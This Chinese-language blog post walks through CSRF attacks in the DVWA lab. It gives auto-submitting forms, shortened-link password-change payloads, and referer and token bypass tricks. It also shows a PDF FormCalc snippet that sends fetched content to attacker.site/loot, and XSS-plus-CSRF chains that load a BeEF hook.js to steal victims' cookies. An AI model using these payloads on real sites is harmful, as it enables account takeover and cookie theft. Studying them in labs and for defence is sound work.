# CSRF

引用自 pikachu 的解释:

CSRF (跨站请求伪造) 概述

Cross-site request forgery 简称为 “CSRF”,在 CSRF 的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以 CSRF 攻击也成为 "one click" 攻击。 很多人搞不清楚 CSRF 的概念,甚至有时候会将其和 XSS 混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。
这里列举一个场景解释一下,希望能够帮助你理解。
场景需求:
小黑想要修改大白在购物网站 tianxiewww.xx.com 上填写的会员地址。
先看下大白是如何修改自己的密码的:
登录 — 修改会员信息,提交请求 — 修改成功。
所以小黑想要修改大白的信息,他需要拥有:1,登录权限 2,修改个人信息的请求。

但是大白又不会把自己 xxx 网站的账号密码告诉小黑,那小黑怎么办?
于是他自己跑到 www.xx.com 上注册了一个自己的账号,然后修改了一下自己的个人信息(比如:E-mail 地址),他发现修改的请求是:
http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change】
于是,他实施了这样一个操作:把这个链接伪装一下,在小白登录 xxx 网站后,欺骗他进行点击,小白点击这个链接后,个人信息就被修改了,小黑就完成了攻击目的。

为啥小黑的操作能够实现呢。有如下几个关键点:
1.www.xxx.com 这个网站在用户修改个人的信息时没有过多的校验,导致这个请求容易被伪造;
— 因此,我们判断一个网站是否存在 CSRF 漏洞,其实就是判断其对关键信息(比如密码等敏感信息)的操作 (增删改) 是否容易被伪造。
2. 小白点击了小黑发给的链接,并且这个时候小白刚好登录在购物网上;
— 如果小白安全意识高,不点击不明链接,则攻击不会成功,又或者即使小白点击了链接,但小白此时并没有登录购物网站,也不会成功。
— 因此,要成功实施一次 CSRF 攻击,需要 “天时,地利,人和” 的条件。
当然,如果小黑事先在 xxx 网的首页如果发现了一个 XSS 漏洞,则小黑可能会这样做: 欺骗小白访问埋伏了 XSS 脚本(盗取 cookie 的脚本)的页面,小白中招,小黑拿到小白的 cookie,然后小黑顺利登录到小白的后台,小黑自己修改小白的相关信息。
— 所以跟上面比一下,就可以看出 CSRF 与 XSS 的区别:CSRF 是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而 XSS 是直接盗取到了用户的权限,然后实施破坏。

因此,网站如果要防止 CSRF 攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致 CSRF。比如:
–对敏感信息的操作增加安全的 token;
–对敏感信息的操作增加安全的验证码;
–对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。

CSRF 攻击利用网站对于用户网页浏览器的信任,挟持用户当前已登陆的 Web 应用程序,去执行并非用户本意的操作,没有对用户合法身份进行验证

官方术语说:攻击能劫持终端用户在已登录的 Web 站点上执行本意操作,会自动携带同一域名下的 cookie 到服务器,简单的说攻击者透过盗用用户身份悄悄发送一个请求,或执行某些恶意操作,CSRF 的过程非常隐秘受害人甚至无法察觉。

产生 CSRF 漏洞的原因大致有以下:

  • 一方面是开发者不够谨慎,编写的 Web 应用程序存在漏洞导致恶意利用;
  • 另一方面因为 Web 浏览器对于 Cookie 和 HTTP 身份验证的回话信息的处理存在一定的缺陷;
  • 服务器对于浏览器过于信任,相信从该浏览器发出的请求都是正确的,却没有区分这是用户主动发送的请求,还是模拟用户行为发出来的。

image-20221118090340493

# CSRF 类型

GET 类型的 CSRF

GET 类型的 CSRF 利用非常简单,只需要一个 HTTP 请求,一般会这样利用:

http://1.1.1.1:18888/dvwa/vulnerabilities/csrf/?password_new=aaaaaa&password_conf=aaaaaa&Change=Change#

在受害者访问这个页面后,浏览器会自动向 http://1.1.1.1:18888/dvwa/vulnerabilities/csrf/?password_new=aaaaaa&password_conf=aaaaaa&Change=Change# 发出一次 HTTP 请求。1.1.1.1:18888 就会受到用户修改密码的跨域请求,同时因为用户在 A 页面没有登出,浏览器会携带 A 的 cookie

POST 类型的 CSRF

这种类型的 CSRF 利用起来通常使用的是一个自动提交的表单,如:

1
2
3
4
5
6
 <form action="http://bank.example/withdraw" method=POST>
<input type="hidden" name="account" value="xiaoming" />
<input type="hidden" name="amount" value="10000" />
<input type="hidden" name="for" value="hacker" />
</form>
<script> document.forms[0].submit(); </script>

访问该页面后,表单会自动提交,相当于模拟用户完成了一次 POST 操作。

链接类型的 CSRF

链接类型的 CSRF 并不常见,比起其他两种用户打开页面就中招的情况,这种需要用户点击链接才会触发。这种类型通常是在论坛中发布的图片中嵌入恶意链接,或者以广告的形式诱导用户中招,攻击者通常会以比较夸张的词语诱骗用户点击,例如:

<a href="http://test.com/csrf/withdraw.php?amount=1000&for=hacker" taget="_blank"> 重磅消息!! <a/>

# CSRF 漏洞利用

描述:CSRF 的利用点找寻 订单下单处 修改敏感信息处 删除信息处 绑定处 发送信息处 ;CSRF 利用场景:

  • 获取个人数据(常常使用)
  • 修改个人数据(横向越权)
  • 添加用户(纵向越权)等

电商用户新增默认收货地址、发微博、添加管理员等等,所有的敏感操作都可以是我们的攻击目标,发现的用户账号授权相关的操作、二维码登陆、绑定第三方账号等,这些功能有 CSRF 的话就直接被盗号了,也就是说所有的敏感操作都需要进行 CSRF 的防护。

# dvwa

1.low

image-20221029213100094

由于我当前已经登录,因此网站中是存在我的 cookie 滴

image-20221029213206492

并且在 low 模式下,没有原密码做验证,也没有 token 对用户身份最校验,那么 csrf 就出现了

我目前修改自己的密码,从 password 修改为 123456,观察 URL 的变化

http://127.0.0.1:18888/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#

网络中有个 hacker,抓到了我修改密码的请求包,意味着他也得到了上述 url,那么他就可以构造以下 url:

http://127.0.0.1:18888/dvwa/vulnerabilities/csrf/?password_new=aaaaaa&password_conf=aaaaaa&Change=Change#

然后把它缩短为短链接的形式:

http://gg.gg/12iqj8

我一旦点击后,就会向服务器发送 change password 的请求

此时我的密码就会被改变

image-20221029213847558

image-20221029213921662

2.medium

1
2
3
4
5
6
7
<?php
if( isset( $_GET[ ‘Change’ ] ) ) {
// Checks to see where the request came from
if( eregi( $_SERVER[ ‘SERVER_NAME’ ], $_SERVER[ ‘HTTP_REFERER’ ] ) ) {
// Get input
$pass_new = $_GET[ ‘password_new’ ];
$pass_conf = $_GET[ ‘password_conf’ ];

多了判断 HTTP_REFERER 中是否有 SERVER_NAME,HTTP_REFERER 是 Referer 参数值,即来源地址,SERVER_NAME 是 host 参数及主机 ip 名

其实他是想限制同源,但可以绕过

同时使用 csrftester 生成 payload,但不一样的是需要修改文件名为 IP.html,比如 192.168.13.133.html,这样在检测 refer 时就会包括了我们的 hostIP,相当于

1
2
HOST: 192.168.13.133
Referer: http://101.1.1.1/dvwa/192.168.13.133.html

3.high

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if ($change) {
// Check Anti-CSRF token
checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' );

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new);
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert );

// Feedback for the user
$return_message = "Password Changed.";
}
else {
// Issue with passwords matching
$return_message = "Passwords did not match.";
}

攻击思路是试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而获得 token 值,并向服务器发送改密请求,完成攻击。
但是,浏览器并不允许跨域请求,因此,我们可以利用 xss 漏洞

我们需要利用 xss 了,打开 stroed xss,构造如下代码 <iframe src="../csrf/"onload=alert(document.getElementsByName('user_token')[0].value)></iframe> 获得 cookie,使用 cookie 完成 csrf

或者使用 CSRF Token Tracker 的 BP 插件

# CSRF tester

CSRFTester 是一款 CSRF 漏洞的测试工具,CSRFTester 工具的测试原理大概是这样的,使用代理抓取我们在浏览器中访问过的所有的连接以及所有的表单等信息,通过在 CSRFTester 中修改相应的表单等信息,重新提交,相当于一次伪造客户端请求,如果修改后的测试请求成功被网站服务器接受,则说明存在 CSRF 漏洞,当然此款工具也可以被用来进行 CSRF 攻击。

CSRF tester 监听 8008 端口,注意设置代理~

10月 29, 2022 9:42:36 下午 org.owasp.webscarab.plugin.proxy.Listener listen 信息: Proxy listening on 127.0.0.1:8008

image-20221029214412139

接着访问可能存在 csrf 的连接~

image-20221029214511815

点击 start recording

image-20221029214544955

image-20221029215312102

将左侧的参数修改为自己的

image-20221030095527035

生成 html

image-20221029215514582

生成的 payload 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<title>OWASP CRSFTester Demonstration</title>
</head>

<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "53" );

function pausecomp(millis)
{
var date = new Date();
var curDate = null;

do { curDate = new Date(); }
while(curDate-date < millis);
}

function fireForms()
{
var count = 1;
var i=0;

for(i=0; i<count; i++)
{
document.forms[i].submit();

pausecomp(pauses[i]);
}
}

</script>
<H2>OWASP CRSFTester Demonstration</H2>
<form method="GET" name="form0" action="http://10.128.50.84:18888/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change">
<input type="hidden" name="name" value="value"/>
</form>

</body>
</html>

将它放在我的服务器上: (http://101.35.139.208:9999/shabi233.html)

再以同样的方式生成短链接: http://gg.gg/12ivbn

访问后密码就会被修改

# CSRF 防御

1. 在请求地址中添加 token 验证

可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,可以在用户登录后放入 session 中,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。

2. 添加 referer 认证

如果是以网站 WebA 的网址开头的域名,则说明该请求是来自 WebA 自己的请求,是合法的。

但 referer 可以伪造

3. 限制跨域

阻止不明外域的访问,使用 json api

使用 JavaScript 发起 AJAX 请求是限制跨域的,并不能通过简单的表单来发送 JSON,所以,通过只接收 JSON 可以很大可能避免 CSRF 攻击。

  • 同源检测
  • Samesite Cookie

4. 修改密码时需要原密码

# CSRF 绕过

1.referer 绕过

1
2
3
4
1.置空:删除referer内容
2.子域名:因为开发的正则问题可能存在子域名这种绕过方式,比如 https://baidu.weiyigeek.com 我们让baidu变成子域名这样就绕过了比较弱的正则了
3.修改域名:https://adafsec.weiyigeek.org https://0dafsec.weiyigeek.org https://Ddafsec.weiyigeek.org利用这种方法也是绕过referer验证的好方法
4.参数: https://weiyigeek.org/?https://dafsec.org

2. 删除 X-CSRFToken 报头然后将 POST 请求改为 GET

1
利用POST和删除“X-CSRFToken”报头测试成功-构造PoC以GET请求来修改邮箱-成功CSRF攻击后利用修改后邮箱重置密码

3.Use Bad PDF

1
2
3
4
5
FormCalc的get()和post()方法允许过滤CSRF-token,其实就是我们的PDF被浏览器解析,因为插件的原因可以进行请求,我们上传恶意的PDF文件在目标网站这样可以绕过referer甚至CSRF token 
<script contentType='application/x-formcalc'>
var content = GET("https://example.com/Settings.action");
Post("http://attacker.site/loot",content,"text/plain");
</script>
  1. 旁路 cookie 注入绕过
1
2
3
4
描述:攻击者可以通过cookie注入绕过双重提交cookie保护 cookie注入的方法:

- CRLF-injection (HTML响应拆分注入漏洞)
- Browser bugs (like CVE-2016-9078 in Firefox)

5.Content-Type 绕过方法

描述:该类漏洞主要是利用的程序后端没有验证 (Calidate) Content-Type 头;攻击者只能通过 HTML 表单或 XHR api 发送 “简单” 的内容类型:

1
2
3
* text/plain
* application/x-www-form-urlencoded
* multipart/form-dat

# xss + csrf

selfxss 就是只能对本地客户端产生影响的跨站脚本攻击,举例简单来说就是像获取到的 cookie 是自己的,显然这并没有什么实际危害,但是一旦结合跨站请求伪造则会导致危害升级,并且成为存储型的跨站脚本攻击。

# stored xss + csrf

即同时存在 xss 和 csrf 的地方

思路是:在 xss 中插入我们构造的 csrf 的恶意代码的连接,一旦用户访问,我们就可以跳转到 csrf 页面干一些见不得人的事

1. 使用前面提到过的 csrftester 生成一个 payload,放在自己的服务器上,比如我的服务器为 1.1.1.1,生成的 payload 名字是 haha.html,放在网站根目录下,那么此时完整路径为 1.1.1.1/haha.html

2. 在 stroed xss 处插入: <script src="x" onerror=javascript:window.open("http://1.1.1.1/haha.html")></script>

3. 用户一旦访问,我们 haha.html 中的 csrf 恶意代码就会被执行

# self-xss + csrf

selfxss 一般只能获取自己的 cookie,但结合 csrf,我们可以获取别人的 cookie。我们在 input 中提交的是 hook.js,用户一旦点击,相当于让别人触发这个 js,cookie 被外带到平台,而 selfxss 则是自己触发 js

1. 首先准备一个 xss 平台,使用它他提供的 payload: <script src="http://192.168.38.129:3000/hook.js"></script>

2. 使用 csrftester 生成我们的 payload,payload 路径和名称参考前一个 1.1.1.1/haha.html ,但此时 payload 需要做一些修改

1
2
<form method="GET" name="form0" action="http://192.168.38.132:80/dvwa/vulnerabilities/xss_r/?name=<script src='http://192.168.38.129:3000/hook.js'></script>">
<input type="hidden" name="name" value="<script src='http://192.168.38.129:3000/hook.js'></script>"/>

3. 用户登录账户,点击我们的链接,我们就能在 xss 平台看到他的 cookie 了

前端安全系列(二):如何防止 CSRF 攻击? - 美团技术团队 (meituan.com)

鸡肋 CSRF 和 Self-XSS 组合的变废为宝 - FreeBuf 网络安全行业门户

CSRF 入门及靶场实战 - FreeBuf 网络安全行业门户

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

John Doe WeChat Pay

WeChat Pay

John Doe Alipay

Alipay

John Doe PayPal

PayPal